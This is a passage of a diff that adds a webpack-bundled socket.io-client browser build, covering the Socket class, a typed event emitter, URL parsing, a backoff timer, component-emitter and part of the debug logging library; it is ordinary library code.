_assertThisInitialized(self); } + + function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } + + function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } + + function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } + + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.Socket = void 0; + + var socket_io_parser_1 = __webpack_require__(/*! socket.io-parser */ "./node_modules/socket.io-parser/dist/index.js"); + + var on_1 = __webpack_require__(/*! ./on */ "./build/on.js"); + + var typed_events_1 = __webpack_require__(/*! ./typed-events */ "./build/typed-events.js"); + + var debug = __webpack_require__(/*! debug */ "./node_modules/debug/src/browser.js")("socket.io-client:socket"); + /** + * Internal events. + * These events can't be emitted by the user. + */ + + + var RESERVED_EVENTS = Object.freeze({ + connect: 1, + connect_error: 1, + disconnect: 1, + disconnecting: 1, + // EventEmitter reserved events: https://nodejs.org/api/events.html#events_event_newlistener + newListener: 1, + removeListener: 1 + }); + + var Socket = /*#__PURE__*/function (_typed_events_1$Stric) { + _inherits(Socket, _typed_events_1$Stric); + + var _super = _createSuper(Socket); + + /** + * `Socket` constructor. + * + * @public + */ + function Socket(io, nsp, opts) { + var _this; + + _classCallCheck(this, Socket); + + _this = _super.call(this); + _this.receiveBuffer = []; + _this.sendBuffer = []; + _this.ids = 0; + _this.acks = {}; + _this.flags = {}; + _this.io = io; + _this.nsp = nsp; + _this.ids = 0; + _this.acks = {}; + _this.receiveBuffer = []; + _this.sendBuffer = []; + _this.connected = false; + _this.disconnected = true; + _this.flags = {}; + + if (opts && opts.auth) { + _this.auth = opts.auth; + } + + if (_this.io._autoConnect) _this.open(); + return _this; + } + /** + * Subscribe to open, close and packet events + * + * @private + */ + + + _createClass(Socket, [{ + key: "subEvents", + value: function subEvents() { + if (this.subs) return; + var io = this.io; + this.subs = [on_1.on(io, "open", this.onopen.bind(this)), on_1.on(io, "packet", this.onpacket.bind(this)), on_1.on(io, "error", this.onerror.bind(this)), on_1.on(io, "close", this.onclose.bind(this))]; + } + /** + * Whether the Socket will try to reconnect when its Manager connects or reconnects + */ + + }, { + key: "connect", + + /** + * "Opens" the socket. + * + * @public + */ + value: function connect() { + if (this.connected) return this; + this.subEvents(); + if (!this.io["_reconnecting"]) this.io.open(); // ensure open + + if ("open" === this.io._readyState) this.onopen(); + return this; + } + /** + * Alias for connect() + */ + + }, { + key: "open", + value: function open() { + return this.connect(); + } + /** + * Sends a `message` event. + * + * @return self + * @public + */ + + }, { + key: "send", + value: function send() { + for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { + args[_key] = arguments[_key]; + } + + args.unshift("message"); + this.emit.apply(this, args); + return this; + } + /** + * Override `emit`. + * If the event is in `events`, it's emitted normally. + * + * @return self + * @public + */ + + }, { + key: "emit", + value: function emit(ev) { + if (RESERVED_EVENTS.hasOwnProperty(ev)) { + throw new Error('"' + ev + '" is a reserved event name'); + } + + for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) { + args[_key2 - 1] = arguments[_key2]; + } + + args.unshift(ev); + var packet = { + type: socket_io_parser_1.PacketType.EVENT, + data: args + }; + packet.options = {}; + packet.options.compress = this.flags.compress !== false; // event ack callback + + if ("function" === typeof args[args.length - 1]) { + debug("emitting packet with ack id %d", this.ids); + this.acks[this.ids] = args.pop(); + packet.id = this.ids++; + } + + var isTransportWritable = this.io.engine && this.io.engine.transport && this.io.engine.transport.writable; + var discardPacket = this.flags["volatile"] && (!isTransportWritable || !this.connected); + + if (discardPacket) { + debug("discard packet as the transport is not currently writable"); + } else if (this.connected) { + this.packet(packet); + } else { + this.sendBuffer.push(packet); + } + + this.flags = {}; + return this; + } + /** + * Sends a packet. + * + * @param packet + * @private + */ + + }, { + key: "packet", + value: function packet(_packet) { + _packet.nsp = this.nsp; + + this.io._packet(_packet); + } + /** + * Called upon engine `open`. + * + * @private + */ + + }, { + key: "onopen", + value: function onopen() { + var _this2 = this; + + debug("transport is open - connecting"); + + if (typeof this.auth == "function") { + this.auth(function (data) { + _this2.packet({ + type: socket_io_parser_1.PacketType.CONNECT, + data: data + }); + }); + } else { + this.packet({ + type: socket_io_parser_1.PacketType.CONNECT, + data: this.auth + }); + } + } + /** + * Called upon engine or manager `error`. + * + * @param err + * @private + */ + + }, { + key: "onerror", + value: function onerror(err) { + if (!this.connected) { + this.emitReserved("connect_error", err); + } + } + /** + * Called upon engine `close`. + * + * @param reason + * @private + */ + + }, { + key: "onclose", + value: function onclose(reason) { + debug("close (%s)", reason); + this.connected = false; + this.disconnected = true; + delete this.id; + this.emitReserved("disconnect", reason); + } + /** + * Called with socket packet. + * + * @param packet + * @private + */ + + }, { + key: "onpacket", + value: function onpacket(packet) { + var sameNamespace = packet.nsp === this.nsp; + if (!sameNamespace) return; + + switch (packet.type) { + case socket_io_parser_1.PacketType.CONNECT: + if (packet.data && packet.data.sid) { + var id = packet.data.sid; + this.onconnect(id); + } else { + this.emitReserved("connect_error", new Error("It seems you are trying to reach a Socket.IO server in v2.x with a v3.x client, but they are not compatible (more information here: https://socket.io/docs/v3/migrating-from-2-x-to-3-0/)")); + } + + break; + + case socket_io_parser_1.PacketType.EVENT: + this.onevent(packet); + break; + + case socket_io_parser_1.PacketType.BINARY_EVENT: + this.onevent(packet); + break; + + case socket_io_parser_1.PacketType.ACK: + this.onack(packet); + break; + + case socket_io_parser_1.PacketType.BINARY_ACK: + this.onack(packet); + break; + + case socket_io_parser_1.PacketType.DISCONNECT: + this.ondisconnect(); + break; + + case socket_io_parser_1.PacketType.CONNECT_ERROR: + var err = new Error(packet.data.message); // @ts-ignore + + err.data = packet.data.data; + this.emitReserved("connect_error", err); + break; + } + } + /** + * Called upon a server event. + * + * @param packet + * @private + */ + + }, { + key: "onevent", + value: function onevent(packet) { + var args = packet.data || []; + debug("emitting event %j", args); + + if (null != packet.id) { + debug("attaching ack callback to event"); + args.push(this.ack(packet.id)); + } + + if (this.connected) { + this.emitEvent(args); + } else { + this.receiveBuffer.push(Object.freeze(args)); + } + } + }, { + key: "emitEvent", + value: function emitEvent(args) { + if (this._anyListeners && this._anyListeners.length) { + var listeners = this._anyListeners.slice(); + + var _iterator = _createForOfIteratorHelper(listeners), + _step; + + try { + for (_iterator.s(); !(_step = _iterator.n()).done;) { + var listener = _step.value; + listener.apply(this, args); + } + } catch (err) { + _iterator.e(err); + } finally { + _iterator.f(); + } + } + + _get(_getPrototypeOf(Socket.prototype), "emit", this).apply(this, args); + } + /** + * Produces an ack callback to emit with an event. + * + * @private + */ + + }, { + key: "ack", + value: function ack(id) { + var self = this; + var sent = false; + return function () { + // prevent double callbacks + if (sent) return; + sent = true; + + for (var _len3 = arguments.length, args = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) { + args[_key3] = arguments[_key3]; + } + + debug("sending ack %j", args); + self.packet({ + type: socket_io_parser_1.PacketType.ACK, + id: id, + data: args + }); + }; + } + /** + * Called upon a server acknowlegement. + * + * @param packet + * @private + */ + + }, { + key: "onack", + value: function onack(packet) { + var ack = this.acks[packet.id]; + + if ("function" === typeof ack) { + debug("calling ack %s with %j", packet.id, packet.data); + ack.apply(this, packet.data); + delete this.acks[packet.id]; + } else { + debug("bad ack %s", packet.id); + } + } + /** + * Called upon server connect. + * + * @private + */ + + }, { + key: "onconnect", + value: function onconnect(id) { + debug("socket connected with id %s", id); + this.id = id; + this.connected = true; + this.disconnected = false; + this.emitReserved("connect"); + this.emitBuffered(); + } + /** + * Emit buffered events (received and emitted). + * + * @private + */ + + }, { + key: "emitBuffered", + value: function emitBuffered() { + var _this3 = this; + + this.receiveBuffer.forEach(function (args) { + return _this3.emitEvent(args); + }); + this.receiveBuffer = []; + this.sendBuffer.forEach(function (packet) { + return _this3.packet(packet); + }); + this.sendBuffer = []; + } + /** + * Called upon server disconnect. + * + * @private + */ + + }, { + key: "ondisconnect", + value: function ondisconnect() { + debug("server disconnect (%s)", this.nsp); + this.destroy(); + this.onclose("io server disconnect"); + } + /** + * Called upon forced client/server side disconnections, + * this method ensures the manager stops tracking us and + * that reconnections don't get triggered for this. + * + * @private + */ + + }, { + key: "destroy", + value: function destroy() { + if (this.subs) { + // clean subscriptions to avoid reconnections + this.subs.forEach(function (subDestroy) { + return subDestroy(); + }); + this.subs = undefined; + } + + this.io["_destroy"](this); + } + /** + * Disconnects the socket manually. + * + * @return self + * @public + */ + + }, { + key: "disconnect", + value: function disconnect() { + if (this.connected) { + debug("performing disconnect (%s)", this.nsp); + this.packet({ + type: socket_io_parser_1.PacketType.DISCONNECT + }); + } // remove socket from pool + + + this.destroy(); + + if (this.connected) { + // fire events + this.onclose("io client disconnect"); + } + + return this; + } + /** + * Alias for disconnect() + * + * @return self + * @public + */ + + }, { + key: "close", + value: function close() { + return this.disconnect(); + } + /** + * Sets the compress flag. + * + * @param compress - if `true`, compresses the sending data + * @return self + * @public + */ + + }, { + key: "compress", + value: function compress(_compress) { + this.flags.compress = _compress; + return this; + } + /** + * Sets a modifier for a subsequent event emission that the event message will be dropped when this socket is not + * ready to send messages. + * + * @returns self + * @public + */ + + }, { + key: "onAny", + + /** + * Adds a listener that will be fired when any event is emitted. The event name is passed as the first argument to the + * callback. + * + * @param listener + * @public + */ + value: function onAny(listener) { + this._anyListeners = this._anyListeners || []; + + this._anyListeners.push(listener); + + return this; + } + /** + * Adds a listener that will be fired when any event is emitted. The event name is passed as the first argument to the + * callback. The listener is added to the beginning of the listeners array. + * + * @param listener + * @public + */ + + }, { + key: "prependAny", + value: function prependAny(listener) { + this._anyListeners = this._anyListeners || []; + + this._anyListeners.unshift(listener); + + return this; + } + /** + * Removes the listener that will be fired when any event is emitted. + * + * @param listener + * @public + */ + + }, { + key: "offAny", + value: function offAny(listener) { + if (!this._anyListeners) { + return this; + } + + if (listener) { + var listeners = this._anyListeners; + + for (var i = 0; i < listeners.length; i++) { + if (listener === listeners[i]) { + listeners.splice(i, 1); + return this; + } + } + } else { + this._anyListeners = []; + } + + return this; + } + /** + * Returns an array of listeners that are listening for any event that is specified. This array can be manipulated, + * e.g. to remove listeners. + * + * @public + */ + + }, { + key: "listenersAny", + value: function listenersAny() { + return this._anyListeners || []; + } + }, { + key: "active", + get: function get() { + return !!this.subs; + } + }, { + key: "volatile", + get: function get() { + this.flags["volatile"] = true; + return this; + } + }]); + + return Socket; + }(typed_events_1.StrictEventEmitter); + + exports.Socket = Socket; + + /***/ }), + + /***/ "./build/typed-events.js": + /*!*******************************!*\ + !*** ./build/typed-events.js ***! + \*******************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + "use strict"; + + + function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } + + function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } + + function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } + + function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } + + function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } + + function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } + + function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } + + function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } + + function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } + + function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } + + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.StrictEventEmitter = void 0; + + var Emitter = __webpack_require__(/*! component-emitter */ "./node_modules/component-emitter/index.js"); + /** + * Strictly typed version of an `EventEmitter`. A `TypedEventEmitter` takes type + * parameters for mappings of event names to event data types, and strictly + * types method calls to the `EventEmitter` according to these event maps. + * + * @typeParam ListenEvents - `EventsMap` of user-defined events that can be + * listened to with `on` or `once` + * @typeParam EmitEvents - `EventsMap` of user-defined events that can be + * emitted with `emit` + * @typeParam ReservedEvents - `EventsMap` of reserved events, that can be + * emitted by socket.io with `emitReserved`, and can be listened to with + * `listen`. + */ + + + var StrictEventEmitter = /*#__PURE__*/function (_Emitter) { + _inherits(StrictEventEmitter, _Emitter); + + var _super = _createSuper(StrictEventEmitter); + + function StrictEventEmitter() { + _classCallCheck(this, StrictEventEmitter); + + return _super.apply(this, arguments); + } + + _createClass(StrictEventEmitter, [{ + key: "on", + + /** + * Adds the `listener` function as an event listener for `ev`. + * + * @param ev Name of the event + * @param listener Callback function + */ + value: function on(ev, listener) { + _get(_getPrototypeOf(StrictEventEmitter.prototype), "on", this).call(this, ev, listener); + + return this; + } + /** + * Adds a one-time `listener` function as an event listener for `ev`. + * + * @param ev Name of the event + * @param listener Callback function + */ + + }, { + key: "once", + value: function once(ev, listener) { + _get(_getPrototypeOf(StrictEventEmitter.prototype), "once", this).call(this, ev, listener); + + return this; + } + /** + * Emits an event. + * + * @param ev Name of the event + * @param args Values to send to listeners of this event + */ + + }, { + key: "emit", + value: function emit(ev) { + var _get2; + + for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { + args[_key - 1] = arguments[_key]; + } + + (_get2 = _get(_getPrototypeOf(StrictEventEmitter.prototype), "emit", this)).call.apply(_get2, [this, ev].concat(args)); + + return this; + } + /** + * Emits a reserved event. + * + * This method is `protected`, so that only a class extending + * `StrictEventEmitter` can emit its own reserved events. + * + * @param ev Reserved event name + * @param args Arguments to emit along with the event + */ + + }, { + key: "emitReserved", + value: function emitReserved(ev) { + var _get3; + + for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) { + args[_key2 - 1] = arguments[_key2]; + } + + (_get3 = _get(_getPrototypeOf(StrictEventEmitter.prototype), "emit", this)).call.apply(_get3, [this, ev].concat(args)); + + return this; + } + /** + * Returns the listeners listening to an event. + * + * @param event Event name + * @returns Array of listeners subscribed to `event` + */ + + }, { + key: "listeners", + value: function listeners(event) { + return _get(_getPrototypeOf(StrictEventEmitter.prototype), "listeners", this).call(this, event); + } + }]); + + return StrictEventEmitter; + }(Emitter); + + exports.StrictEventEmitter = StrictEventEmitter; + + /***/ }), + + /***/ "./build/url.js": + /*!**********************!*\ + !*** ./build/url.js ***! + \**********************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + "use strict"; + + + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.url = void 0; + + var parseuri = __webpack_require__(/*! parseuri */ "./node_modules/parseuri/index.js"); + + var debug = __webpack_require__(/*! debug */ "./node_modules/debug/src/browser.js")("socket.io-client:url"); + /** + * URL parser. + * + * @param uri - url + * @param path - the request path of the connection + * @param loc - An object meant to mimic window.location. + * Defaults to window.location. + * @public + */ + + + function url(uri) { + var path = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ""; + var loc = arguments.length > 2 ? arguments[2] : undefined; + var obj = uri; // default to window.location + + loc = loc || typeof location !== "undefined" && location; + if (null == uri) uri = loc.protocol + "//" + loc.host; // relative path support + + if (typeof uri === "string") { + if ("/" === uri.charAt(0)) { + if ("/" === uri.charAt(1)) { + uri = loc.protocol + uri; + } else { + uri = loc.host + uri; + } + } + + if (!/^(https?|wss?):\/\//.test(uri)) { + debug("protocol-less url %s", uri); + + if ("undefined" !== typeof loc) { + uri = loc.protocol + "//" + uri; + } else { + uri = "https://" + uri; + } + } // parse + + + debug("parse %s", uri); + obj = parseuri(uri); + } // make sure we treat `localhost:80` and `localhost` equally + + + if (!obj.port) { + if (/^(http|ws)$/.test(obj.protocol)) { + obj.port = "80"; + } else if (/^(http|ws)s$/.test(obj.protocol)) { + obj.port = "443"; + } + } + + obj.path = obj.path || "/"; + var ipv6 = obj.host.indexOf(":") !== -1; + var host = ipv6 ? "[" + obj.host + "]" : obj.host; // define unique id + + obj.id = obj.protocol + "://" + host + ":" + obj.port + path; // define href + + obj.href = obj.protocol + "://" + host + (loc && loc.port === obj.port ? "" : ":" + obj.port); + return obj; + } + + exports.url = url; + + /***/ }), + + /***/ "./node_modules/backo2/index.js": + /*!**************************************!*\ + !*** ./node_modules/backo2/index.js ***! + \**************************************/ + /*! no static exports found */ + /***/ (function(module, exports) { + + /** + * Expose `Backoff`. + */ + module.exports = Backoff; + /** + * Initialize backoff timer with `opts`. + * + * - `min` initial timeout in milliseconds [100] + * - `max` max timeout [10000] + * - `jitter` [0] + * - `factor` [2] + * + * @param {Object} opts + * @api public + */ + + function Backoff(opts) { + opts = opts || {}; + this.ms = opts.min || 100; + this.max = opts.max || 10000; + this.factor = opts.factor || 2; + this.jitter = opts.jitter > 0 && opts.jitter <= 1 ? opts.jitter : 0; + this.attempts = 0; + } + /** + * Return the backoff duration. + * + * @return {Number} + * @api public + */ + + + Backoff.prototype.duration = function () { + var ms = this.ms * Math.pow(this.factor, this.attempts++); + + if (this.jitter) { + var rand = Math.random(); + var deviation = Math.floor(rand * this.jitter * ms); + ms = (Math.floor(rand * 10) & 1) == 0 ? ms - deviation : ms + deviation; + } + + return Math.min(ms, this.max) | 0; + }; + /** + * Reset the number of attempts. + * + * @api public + */ + + + Backoff.prototype.reset = function () { + this.attempts = 0; + }; + /** + * Set the minimum duration + * + * @api public + */ + + + Backoff.prototype.setMin = function (min) { + this.ms = min; + }; + /** + * Set the maximum duration + * + * @api public + */ + + + Backoff.prototype.setMax = function (max) { + this.max = max; + }; + /** + * Set the jitter + * + * @api public + */ + + + Backoff.prototype.setJitter = function (jitter) { + this.jitter = jitter; + }; + + /***/ }), + + /***/ "./node_modules/component-emitter/index.js": + /*!*************************************************!*\ + !*** ./node_modules/component-emitter/index.js ***! + \*************************************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + /** + * Expose `Emitter`. + */ + if (true) { + module.exports = Emitter; + } + /** + * Initialize a new `Emitter`. + * + * @api public + */ + + + function Emitter(obj) { + if (obj) return mixin(obj); + } + + ; + /** + * Mixin the emitter properties. + * + * @param {Object} obj + * @return {Object} + * @api private + */ + + function mixin(obj) { + for (var key in Emitter.prototype) { + obj[key] = Emitter.prototype[key]; + } + + return obj; + } + /** + * Listen on the given `event` with `fn`. + * + * @param {String} event + * @param {Function} fn + * @return {Emitter} + * @api public + */ + + + Emitter.prototype.on = Emitter.prototype.addEventListener = function (event, fn) { + this._callbacks = this._callbacks || {}; + (this._callbacks['$' + event] = this._callbacks['$' + event] || []).push(fn); + return this; + }; + /** + * Adds an `event` listener that will be invoked a single + * time then automatically removed. + * + * @param {String} event + * @param {Function} fn + * @return {Emitter} + * @api public + */ + + + Emitter.prototype.once = function (event, fn) { + function on() { + this.off(event, on); + fn.apply(this, arguments); + } + + on.fn = fn; + this.on(event, on); + return this; + }; + /** + * Remove the given callback for `event` or all + * registered callbacks. + * + * @param {String} event + * @param {Function} fn + * @return {Emitter} + * @api public + */ + + + Emitter.prototype.off = Emitter.prototype.removeListener = Emitter.prototype.removeAllListeners = Emitter.prototype.removeEventListener = function (event, fn) { + this._callbacks = this._callbacks || {}; // all + + if (0 == arguments.length) { + this._callbacks = {}; + return this; + } // specific event + + + var callbacks = this._callbacks['$' + event]; + if (!callbacks) return this; // remove all handlers + + if (1 == arguments.length) { + delete this._callbacks['$' + event]; + return this; + } // remove specific handler + + + var cb; + + for (var i = 0; i < callbacks.length; i++) { + cb = callbacks[i]; + + if (cb === fn || cb.fn === fn) { + callbacks.splice(i, 1); + break; + } + } // Remove event specific arrays for event types that no + // one is subscribed for to avoid memory leak. + + + if (callbacks.length === 0) { + delete this._callbacks['$' + event]; + } + + return this; + }; + /** + * Emit `event` with the given args. + * + * @param {String} event + * @param {Mixed} ... + * @return {Emitter} + */ + + + Emitter.prototype.emit = function (event) { + this._callbacks = this._callbacks || {}; + var args = new Array(arguments.length - 1), + callbacks = this._callbacks['$' + event]; + + for (var i = 1; i < arguments.length; i++) { + args[i - 1] = arguments[i]; + } + + if (callbacks) { + callbacks = callbacks.slice(0); + + for (var i = 0, len = callbacks.length; i < len; ++i) { + callbacks[i].apply(this, args); + } + } + + return this; + }; + /** + * Return array of callbacks for `event`. + * + * @param {String} event + * @return {Array} + * @api public + */ + + + Emitter.prototype.listeners = function (event) { + this._callbacks = this._callbacks || {}; + return this._callbacks['$' + event] || []; + }; + /** + * Check if this emitter has `event` handlers. + * + * @param {String} event + * @return {Boolean} + * @api public + */ + + + Emitter.prototype.hasListeners = function (event) { + return !!this.listeners(event).length; + }; + + /***/ }), + + /***/ "./node_modules/debug/src/browser.js": + /*!*******************************************!*\ + !*** ./node_modules/debug/src/browser.js ***! + \*******************************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + /* eslint-env browser */ + + /** + * This is the web browser implementation of `debug()`. + */ + exports.formatArgs = formatArgs; + exports.save = save; + exports.load = load; + exports.useColors = useColors; + exports.storage = localstorage(); + + exports.destroy = function () { + var warned = false; + return function () { + if (!warned) { + warned = true; + console.warn('Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.'); + } + }; + }(); + /** + * Colors. + */ + + + exports.colors = ['#0000CC', '#0000FF', '#0033CC', '#0033FF', '#0066CC', '#0066FF', '#0099CC', '#0099FF', '#00CC00', '#00CC33', '#00CC66', '#00CC99', '#00CCCC', '#00CCFF', '#3300CC', '#3300FF', '#3333CC', '#3333FF', '#3366CC', '#3366FF', '#3399CC', '#3399FF', '#33CC00', '#33CC33', '#33CC66', '#33CC99', '#33CCCC', '#33CCFF', '#6600CC', '#6600FF', '#6633CC', '#6633FF', '#66CC00', '#66CC33', '#9900CC', '#9900FF', '#9933CC', '#9933FF', '#99CC00', '#99CC33', '#CC0000', '#CC0033', '#CC0066', '#CC0099', '#CC00CC', '#CC00FF', '#CC3300', '#CC3333', '#CC3366', '#CC3399', '#CC33CC', '#CC33FF', '#CC6600', '#CC6633', '#CC9900', '#CC9933', '#CCCC00', '#CCCC33', '#FF0000', '#FF0033', '#FF0066', '#FF0099', '#FF00CC', '#FF00FF', '#FF3300', '#FF3333', '#FF3366', '#FF3399', '#FF33CC', '#FF33FF', '#FF6600', '#FF6633', '#FF9900', '#FF9933', '#FFCC00', '#FFCC33']; + /** + * Currently only WebKit-based Web Inspectors, Firefox >= v31, + * and the Firebug extension (any Firefox version) are known + * to support "%c" CSS customizations. + * + * TODO: add a `localStorage` variable to explicitly enable/disable colors + */ +// eslint-disable-next-line complexity + + function useColors() { + // NB: In an Electron preload script, document will be defined but not fully + // initialized. Since we know we're in Chrome, we'll just detect this case + // explicitly + if (typeof window !== 'undefined' && window.process && (window.process.type === 'renderer' || window.process.__nwjs)) { + return true; + } // Internet Explorer and Edge do not support colors. + + + if (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/)) { + return false; + } // Is webkit? http://stackoverflow.com/a/16459606/376773 + // document is undefined in react-native: https://github.com/facebook/react-native/pull/1632 + + + return typeof document !== 'undefined' && document.documentElement && document.documentElement.style && document.documentElement.style.WebkitAppearance || // Is firebug? http://stackoverflow.com/a/398120/376773 + typeof window !== 'undefined' && window.console && (window.console.firebug || window.console.exception && window.console.table) || // Is firefox >= v31? + // https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages + typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/) && parseInt(RegExp.$1, 10) >= 31 || // Double check webkit in userAgent just in case we are in a worker + typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/); + } + /** + * Colorize log arguments if enabled. + * + * @api public + */ + + + function formatArgs(args) { + args[0] = (this.useColors ? '%c' : '') + this.namespace + (this.useColors ? ' %c' : ' ') + args[0] + (this.useColors ? '%c ' : ' ') + '+' + module.exports.humanize(this.diff); + + if (!this.useColors) { + return; + } + + var c = 'color: ' + this.color; + args.splice(1, 0, c, 'color: inherit'); // The final "%c" is somewhat tricky, because there could be other + // arguments passed either before or after the %c, so we need to + // figure out the correct index to insert the CSS into + + var index = 0; + var lastC = 0; + args[0].replace(/%[a-zA-Z%]/g, function (match) { + if (match === '%%') { + return; + } + + index++; + + if (match === '%c') { + // We only are interested in the *last* %c + // (the user may have provided their own) + lastC = index; + } + }); + args.splice(lastC, 0, c); + } + /** + * Invokes `console.debug()` when available. + * No-op when `console.debug` is not a "function". + * If `console.debug` is not available, falls back + * to `console.log`. + * + * @api public + */ + + + exports.log = console.debug || console.log || function () {}; + /** + * Save `namespaces`. + * + * @param {String} namespaces + * @api private + */ + + + function save(namespaces) { + try { + if (namespaces) { + exports.storage.setItem('debug', namespaces); + } else { + exports.storage.removeItem('debug'); + } + } catch (error) {// Swallow + // XXX (@Qix-) should we be logging these? + } + } + /** + * Load `namespaces`. + * + * @return {String} returns the previously persisted debug modes + * @api private + */ + + + function load() { + var r; + + try { + r = exports.storage.getItem('debug'); + } catch (error) {// Swallow + // XXX (@Qix-) should we be logging these? + } // If debug isn't set in LS, and we're in Electron, try to load $DEBUG + + + if (!r && typeof process !== 'undefined' && 'env' in process) { + r = process.env.DEBUG; + } + + return r; + } + /** + * Localstorage attempts to return the localstorage. + * + * This is necessary because safari throws + * when a user disables cookies/localstorage + * and you attempt to access it. + * + * @return {LocalStorage} + * @api private + */ + + + function localstorage() { + try { + // TVMLKit (Apple TV JS Runtime) does not have a window object, just localStorage in the global context + // The Browser also has localStorage in the global context. + return localStorage; + } catch (error) {// Swallow + // XXX (@Qix-) should we be logging these? + } + } + + module.exports = __webpack_require__(/*! ./common */ "./node_modules/debug/src/common.js")(exports); + var formatters = module.exports.formatters; + /** + * Map %j to `JSON.stringify()`, since no Web Inspectors do that by default. + */ + + formatters.j = function (v) { + try { + return JSON.stringify(v); + } catch (error) { + return '[UnexpectedJSONParseError]: ' + error.message; + } + }; + + /***/ }), + + /***/ "./node_modules/debug/src/common.js": + /*!******************************************!*\ + !*** ./node_modules/debug/src/common.js ***! + \******************************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread(); } + + function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } + + function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } + + function _iterableToArray(iter) { if (typeof Symbol !== "undefined" && Symbol.iterator in Object(iter)) return Array.from(iter); } + + function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) return _arrayLikeToArray(arr); } + + function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } + + /** + * This is the common logic for both the Node.js and web browser + * implementations of `debug()`. + */ + function setup(env) { + createDebug.debug = createDebug; + createDebug["default"] = createDebug; + createDebug.coerce = coerce; + createDebug.disable = disable; 